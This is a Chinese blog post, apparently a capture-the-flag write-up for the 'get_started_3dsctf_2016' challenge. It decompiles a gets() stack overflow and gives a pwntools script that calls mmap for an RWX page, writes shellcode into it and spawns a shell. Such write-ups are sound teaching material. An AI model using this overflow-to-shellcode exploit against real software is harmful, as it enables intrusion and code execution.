get_started_3dsctf_2016

题目链接:get_started_3dsctf_2016

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}

可以发现,该处存在一个 gets 函数的无限长度的栈溢出。

同时,通过 IDA 反编译可以发现,存在后门函数,如下。

void __cdecl get_flag(int a1, int a2)
{
  int v2; // esi
  unsigned __int8 v3; // al
  int v4; // ecx
  unsigned __int8 v5; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = getc(v2);
    if ( v3 != 255 )
    {
      v4 = (char)v3;
      do
      {
        putchar(v4);
        v5 = getc(v2);
        v4 = (char)v5;
      }
      while ( v5 != 255 );
    }
    fclose(v2);
  }
}

但是因为 buuoj 中的靶机不存在 flag.txt 文件,因此调用该后门函数无法获取 flag。

解题思路:

  1. 通过 gets 函数的栈溢出,调用 mmap 函数,申请出一块 RWX 权限的空间。
  2. 往该空间写入 ShellCode。
  3. 执行 ShellCode 获取 Shell。

解体脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .text:08048A36 call    gets
    sl(0x38 * b'a' + \
         p32(ELF_FILE.symbols['mmap']) + \
            p32(0x08048A36) + \
                p32(0xF7FF7000) + p32(0x1000) + p32(0x7) + p32(0x22) + p32(0x0) + p32(0x0) + 9 * p32(0x0) + p32(0xF7FF7000))
    sl(asm(shellcraft.sh()))
    irt()

pwn()
posted @ 2025-09-06 13:07  imtaieee  阅读(11)  评论(0)    收藏  举报